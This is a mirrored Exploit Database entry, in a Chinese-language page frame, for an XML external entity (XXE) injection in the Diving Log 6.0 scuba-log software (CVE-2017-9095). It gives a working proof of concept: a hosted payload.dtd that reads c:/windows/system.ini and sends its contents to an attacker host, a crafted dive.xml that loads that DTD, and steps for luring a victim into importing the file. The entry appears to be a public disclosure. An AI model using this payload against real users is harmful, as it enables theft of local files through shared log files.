Diving Log 6.0 – XML External Entity Injection

• Exploit Database
• 105 阅读

• 作者： Trent Gordon
  日期： 2017-11-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43187/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79

  [+] Exploit Title: Diving Log 6.0 XXE Injection [+] Date: 27-11-2017 [+] Exploit Author: Trent Gordon [+] Vendor Homepage: http://www.divinglog.de [+] Software Link: http://www.divinglog.de/english/download/ [+] Disclosed at: https://thenopsled.com/divinglog.txt [+] Version: 6.0 [+] Tested on: Windows 7 SP1, Windows 10 [+] CVE: CVE-2017-9095   ================== Background: ================== Diving Log 6.0 is a scuba diving log software that manages and consolidates logs from other disparate sources.Many scuba diving log software programs export their data in an XML file.   ================== Vulnerability: ================== By having a user import a crafted dive.xml file (very common, many divers share logs), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker. 1.)Open Diving Log 6.0 2.)Close "Welcome Center" popup and select "Import" from the bottom left corner 3.)Select "Subsurface" from the list of import data types. 4.)"Open File" and select the crafted dive.xml file (with listener open on ATTACKERS-IP)   ================== Proof of Concept: ==================   a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)   b.) Hosted "payload.dtd"   <?xml version="1.0" encoding="utf-8" ?> <!ENTITY % data SYSTEM "file:///c:/windows/system.ini"> <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM &apos;http://ATTACKERS-IP?%data;&apos;>">     c.) Exploited "dive.xml"   <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % sp SYSTEM "http://ATTACKERS-IP/payload.dtd"> %sp;   %param1;   %exfil;   ]> <divelog program=&apos;subsurface&apos; version=&apos;3&apos;> <settings> </settings> <divesites> <site uuid=&apos;33a32a07&apos; name=&apos;hacked&apos;> </site> </divesites> <dives> <dive number=&apos;1&apos; divesiteid=&apos;33a32a07&apos; date=&apos;2017-05-15&apos; time=&apos;14:49:10&apos; duration=&apos;46:00 min&apos;> <notes></notes> <cylinder size=&apos;11.1 l&apos; workpressure=&apos;207.0 bar&apos; description=&apos;unknown&apos; /> <divecomputer model=&apos;manually added dive&apos;> <depth max=&apos;15.0 m&apos; mean=&apos;13.37 m&apos; /> <surface pressure=&apos;1.013 bar&apos; /> <sample time=&apos;0:00 min&apos; depth=&apos;0.0 m&apos; /> <sample time=&apos;3:00 min&apos; depth=&apos;15.0 m&apos; /> <sample time=&apos;40:00 min&apos; depth=&apos;15.0 m&apos; /> <sample time=&apos;42:00 min&apos; depth=&apos;5.0 m&apos; /> <sample time=&apos;45:00 min&apos; depth=&apos;5.0 m&apos; /> <sample time=&apos;46:00 min&apos; depth=&apos;0.0 m&apos; /> </divecomputer> </dive> </dives> </divelog>   ================== Additional Attack Vectors: ================== I tested and exploited the "subsurface" import option, however MANY other dive log software programs use XML and most are available as Import options in Diving Log 6.0.This XXE injection vulnerability is most likely vulnerable in every import option that utilizes XML for the underlying custom file format(.UDCF and .UDDF, for example).